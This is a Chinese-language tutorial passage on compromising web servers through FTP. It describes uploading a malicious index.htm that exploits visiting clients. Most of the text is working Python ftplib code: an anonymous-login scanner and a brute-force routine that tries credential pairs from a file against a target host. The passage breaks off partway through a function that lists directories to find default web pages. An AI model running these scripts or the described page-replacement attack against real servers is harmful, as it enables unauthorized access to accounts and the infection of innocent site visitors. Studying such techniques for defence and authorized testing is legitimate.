通过FTP连接WEB来渗透
检查受感染服务器的FTP日志。
一个自动的脚本连接到目标主机以确认它是否包含一个名为 index.htm 的默认主页。接下来攻击者上传了一个新的 index.htm 页面,可能包含恶意的重定向脚本。受感染的服务器渗透利用任何访问它页面的脆弱客户机。
可以利用 Python 的 ftplib 模块
来构建一个小脚本,用来确认服务器是否允许匿名登录。函数 anonLogin()
接受一个主机名反汇编一个布尔值来确认主机是否允许匿名登录。
为了确认这个布尔值,这个函数尝试用匿名认证生成一个 FTP 连接,如果成功,则返回“True”
,产生异常则返回 “False”
。
用python构建匿名的FTP扫描器
# coding = UTF-8
import ftplib
def anonLogin(hostname):
try:
ftp=ftplib.FTP(hostname)
ftp.login('anonymous','me@your.com')
print('\n[*]'+str(hostname)+'FTP Anonymous Login Succeeded!')
ftp.quit()
return True
except Exception as e:
print('\n[-]'+str(hostname)+'FTP Anonymous Login Failed!')
return False
host='192.168.95.179'
anonLogin(host)
利用ftplib暴力破解FTP用户认证
现在我们能扩展前面建立的 anonLogin()
函数建立名为brutelogin()
的函数。 这个函数接受主机名和密码文件作为输入返回允许访问主机的证书。注意,函数迭代文件的每一行,用冒号分割用户名和密码,然后这个函数用用户名和密码尝试登陆 FTP服务器。如果成功,将返回用户名和密码的元组,如果失败有异常,将继续测试下一行。如果遍历完所有的用户名和密码都没有成功,则返回包含 None的元组。
# coding = UTF-8
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print('[+]Trying:' + userName + '/' + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*]' + str(hostname) + 'FTP login Succeeded:' + userName + '/' + passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)
在FTP服务器上寻找web页面
有了FTP访问权限,还要测试服务是否还提供了web访问,为了测试这个,首先要列出FTP的服务目录并寻找默认的web页面。
函数returnDefault()
接受一个FTP连接作为输入并返回一个找到的默认页面的数组,通过发送目录NLST列出目录内容。这个函数检查每个文件返回默认web页面文件名并将任何发现的默认web页面文件名添加到名为retList的列表上。完成迭代这些文件之后,函数将返回这个列表
def returnDefault(ftp):
try:
# 列出目录内容
dirList = ftp.nlst(